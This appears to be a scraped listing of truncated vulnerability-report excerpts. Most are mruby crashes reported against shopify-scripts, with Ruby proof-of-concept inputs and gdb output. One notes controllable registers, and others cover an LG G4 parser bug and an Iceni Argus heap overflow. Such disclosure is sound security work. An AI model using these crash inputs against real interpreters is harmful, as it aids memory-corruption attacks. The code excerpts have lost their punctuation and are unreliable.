LG G4 MRA58K - mkvparser::Tracks constructor Failure to Initialise Pointers

LG G4 MRA58K - mkvparser::Tracks constructor Failure to Initialise Pointers Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1117 Failure to initialise pointers in mkvparser::Tracks constructor The constructor mkvparser::Tracks::Tracks doesn't handle parsing failures correctly. I...

shopify-scripts: SIGSEGV in mrb_str_inum

PoC ------------------- The following code triggers the bug attached as testmrbstrinum.rb: def methodmissingfalse end def tostr""end Integerÿ,2.h Debug - mirb ------------------- x@x:/Desktop/test/mruby/bin$ gdb -q ./mirb r Reading symbols from ./mirb...idone. gdb r testmrbstrinum.rb Starting...

shopify-scripts: SIGSEGV in mrb_class

PoC ------------------- Attached as testmrbclass.rb: Debug - mirb ------------------- Program received signal SIGSEGV, Segmentation fault. 0x0000000000402ef2 in mrbclass mrb=0x6b0010, v=... at /home/x/Desktop/test/mruby/include/mruby/class.h:50 50 return mrbobjptrv-c; gdb l 45 case MRBTTCPTR: 46...

shopify-scripts: SIGSEGV in mrb_vm_exec

PoC ------------------- The following code triggers the bug attached as testmrbvmexec.rb: s=proc|f,g,x|fxgx.curry k=proc|x,y|x.curry i=proc|x|x.curry fi0= re0=proc|x|fi0.size;x.curry ssiiki0sskssksssksskskre0skskkksksk Debug - mirb ------------------- x@x:/Desktop/test/mruby/bin$ gdb -q ./mirb...

shopify-scripts: SIGSEGV - mrb_obj_value

Linux Ubuntu Xenial 64 commit f8b31a0db671b71d2794ce866b87596a09c10bf0 Author: Yukihiro "Matz" Matsumoto Date: Wed Mar 15 09:00:03 2017 +0900 output RAX: 0x0 RBX: 0x6c4e80 -- 0x1 RCX: 0x6c4e50 -- 0x6b4320 -- 0x112 RDX: 0xf222f69400000003 RSI: 0x6b4320 -- 0x112 RDI: 0x0 RBP: 0x7fffffffdb10 --...

shopify-scripts: SIGSEGV in str_buf_cat

PoC ------------------- Attached as teststrbufcat.rb Debug - mirb ------------------- Program received signal SIGSEGV, Segmentation fault. memcpysse2unaligned at ../sysdeps/x8664/multiarch/memcpy-sse2-unaligned.S:36 36 ../sysdeps/x8664/multiarch/memcpy-sse2-unaligned.S: No such file or directory...

shopify-scripts: SIGSEGV - kh_get_n2s - in /src/symbol.c:37

The following code triggers the bug ruby classsymtbla.len == mrb-symtblb.len && memcmpmrb-symtbla.name, mrb-symtblb.name, mrb-symtbla.len == 0 35 36 KHASHDECLAREn2s, mrbsym, mrbsym, FALSE 37 KHASHDEFINE n2s, mrbsym, mrbsym, FALSE, symhashfunc, symhashequal 38 /...

shopify-scripts: SIGSEGV - mrb_yield_with_class

Linux Ubuntu Xenial X64 commit 63dbed00946afda34178a479cfa38fa78d620a00 Author: Yukihiro "Matz" Matsumoto Date: Tue Mar 7 15:01:09 2017 +0900 PoC def a instanceexec return aensure end a output ----------------------------------registers----------------------------------- RAX: 0x7ffff7fec7d0 RBX:...

shopify-scripts: SIGSEGV - mark_context_stack

PoC ------------------- The following code triggers the bug attached as testmarkcontextstack.rb: def one tooyieldend def too yield ensure onebreakend one Debug - mirb ------------------- Starting program: /home/x/Desktop/test/mruby/bin/mirb testmarkcontextstack mirb - Embeddable Interactive Ruby...

Iceni Argus ipStringCreate Code Execution Vulnerability

Summary An exploitable heap overflow vulnerability exists in the ipStringCreate function of Iceni Argus Version 6.6.05. A specially crafted pdf file can cause an integer overflow resulting in heap overflow. An attacker can send file to trigger this vulnerability. Tested Versions Iceni Argus 6.6.0...

shopify-scripts: SIGSEGV - mrb_vm_exec - line:1312

PoC ------------------- The following code triggers the bug attached as mrbvmexec.rb: n s s k h GC.start ObjectSpace.eachobject|obj|obj Debug - mirb ------------------- gdb r mrbvmexec.rb The program being debugged has been started already. Start it from the beginning? y or n y Starting program:...

CVE-2017-0357

A heap-overflow flaw exists in the -tr loader of iucode-tool starting with v1.4 and before v2.1.1, potentially leading to SIGSEGV, or heap corruption...

shopify-scripts: Crash in print_backtrace

This crash does not affect mruby-engine because it does not print the back trace in guest. We can control the register by setting a backtrace array. PoC ruby exc = Exception.new exc.setbacktrace0x41414141 raise exc GDB $ gdb -q --args ./bin/mruby test12.rb Reading symbols from ./bin/mruby...done...

shopify-scripts: SIGSEGV - mrb_obj_extend - line:413

PoC: ------------------- The following code triggers the bug attached as testmrbobjextend413.rb: module Test end def methodmissingsextendTestend def setva.set0end set0 Mirb - Debug: ------------------- gdb r testmrbobjextend413.rb The program being debugged has been started already. Start it from...

shopify-scripts: SIGSEGV - mrb_vm_exec - line:1681

PoC: ------------------- The following code triggers the bug attached as testmrbvmexec1681.rb: def try yield ensure yield end a=lambda do a.try do return end end.call Mirb - Debug: ------------------- gdb r testmrbvmexec1678.rb The program being debugged has been started already. Start it from th...

shopify-scripts: SIGSEGV - mrb_vm_exec - vm.c in line:1272

PoC: ------------------- The following code triggers the bug attached as testmrbvmexec1272.rb: a,a,a,a=0,def e end a Sandbox: ------------------- x@x:/Desktop/research/mruby-engine/bin$ ./sandbox testmrbvmexec1272.rb ./sandbox:20: BUG Segmentation fault at 0x00000000000018 ruby 2.2.6p396 2016-11-...

shopify-scripts: SIGSEGV in mrb_vm_exec

PoC: ------------------- The following code triggers the bug attached as testmrbvmexec1296.rb: 0.instanceevalsuper Sandbox: ------------------- x@x:/Desktop/research/mruby-engine/bin$ ./sandbox testmrbvmexec1296.rb ./sandbox:20: BUG Segmentation fault at 0x00000000000028 ruby 2.2.6p396 2016-11-15...

shopify-scripts: SIGSEGV - kh_resize_iv - Null Deref

PoC --------------------- The following code triggers the bug attached as khresizeiv.rb: l t'',''doend s'',''do.end d t''do.end a=Array.new a.=102,0 € s a.tos a a.tos a.i Debug - mirb --------------------- gdb r khresizeiv.rb Starting program: /home/x/Desktop/research/mruby/bin/mirb khresizeiv.rb...

shopify-scripts: SIGSEGV - mrb_check_intern_str() - NullPointer

PoC --------------------- The following code triggers the bug attached as mrbvmexec.rb: def tostr $s.replace""end $s="" class Test00espondTo end Test00espondTo.respondto?0 Crash - mirb --------------------- x@x:/Desktop/research/mruby/bin$ ./mirb mrbcheckinternstr.rb mirb - Embeddable Interactive...

shopify-scripts: SIGSEGV Null Pointer mrb_str_concat()

Sample --------------------- The following code triggers the bug attached as mrbstrconcat.rb: a=String.new a.concata Crash --------------------- x@x:/Desktop/research/mruby-engine/bin$ ./mruby-engine-mirb mirb - Embeddable Interactive Ruby Shell a=String.new a.concata = "" Segmentation fault Debu...